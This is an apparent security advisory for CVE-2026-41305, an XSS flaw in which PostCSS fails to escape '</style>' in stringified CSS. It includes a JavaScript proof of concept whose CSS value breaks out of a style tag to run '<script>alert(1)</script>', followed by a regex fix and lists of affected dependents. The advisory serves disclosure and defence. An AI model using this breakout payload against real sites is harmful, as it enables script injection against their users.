CVE-2026-41305
PostCSS has XSS via Unescaped </style> in its CSS Stringify Output
Description
PostCSS: XSS via Unescaped </style> in CSS Stringify Output
Summary
PostCSS v8.5.5 (latest) does not escape </style> sequences when stringifying CSS ASTs. When user-submitted CSS is parsed and re-stringified for embedding in HTML <style> tags, </style> in CSS values breaks out of the style context, enabling XSS.
Proof of Concept
const postcss = require('postcss');
// Parse user CSS and re-stringify for page embedding
const userCSS = 'body { content: "</style><script>alert(1)</script><style>"; }';
const ast = postcss.parse(userCSS);
const output = ast.toResult().css;
const html = `<style>${output}</style>`;
console.log(html);
// <style>body { content: "</style><script>alert(1)</script><style>"; }</style>
//
// Browser: </style> closes the style tag, <script> executes
Tested output (Node.js v22, postcss v8.5.5):
Input: body { content: "</style><script>alert(1)</script><style>"; }
Output: body { content: "</style><script>alert(1)</script><style>"; }
Contains </style>: true
Impact
Impact non-bundler use cases since bundlers for XSS on their own. Requires some PostCSS plugin to have malware code, which can inject XSS to website.
Suggested Fix
Escape </style in all stringified output values:
output = output.replace(/<\/(style)/gi, '<\\/$1');
Credits
Discovered and reported by Sunil Kumar (@TharVid)
Affected Maven artifacts (2)
| Artifact | Affected versions | Fixed in |
|---|---|---|
| org.mvnpm » postcssvia npm postcss | < 8.5.10 | 8.5.10 |
| org.webjars.npm » postcssvia npm postcss | < 8.5.10 | 8.5.10 |
Blast radius
63% of the dependent artifacts (7) still pull an affected version in their latest release.
| Depth | Dependent versions |
|---|---|
| Direct | 111 |
| 2 hops | 63 |
| 3 hops | 61 |
Most used dependents
- org.mvnpm » styled-components10 usages
- org.mvnpm » next8 usages
- org.webjars.npm » css-modules-loader-core2 usages
- io.quarkus.code » code-quarkus-web-deps1 usages
- org.mvnpm » css-modules-loader-core1 usages
- io.quarkus.code » code-quarkus0 usages
- org.mvnpm » zudoku0 usages
- org.mvnpm » hiq0 usages
- org.mvnpm » sakai0 usages
- org.mvnpm » sakai-react0 usages
- org.webjars.npm » github-com-JetBrains-ring-ui0 usages
Computed from the dependency graph of build 20261126.1706 (compile and runtime scopes, nearest version wins). Exclusions and dependency management in consuming projects are not applied, so dependents are potentially affected. When several artifacts are affected, a dependent version that pulls more than one of them is counted once per artifact.
Other ecosystems
Also affects npm (1 package) . See all on OSV
References
| Advisory | NVD CVE-2026-41305 | nvd.nist.gov |
| Package | postcss/postcss | github.com |
| Web | postcss/postcss advisory GHSA-qx2v-qp2m-jg93 | github.com |
| Web | postcss/postcss release 8.5.10 | github.com |
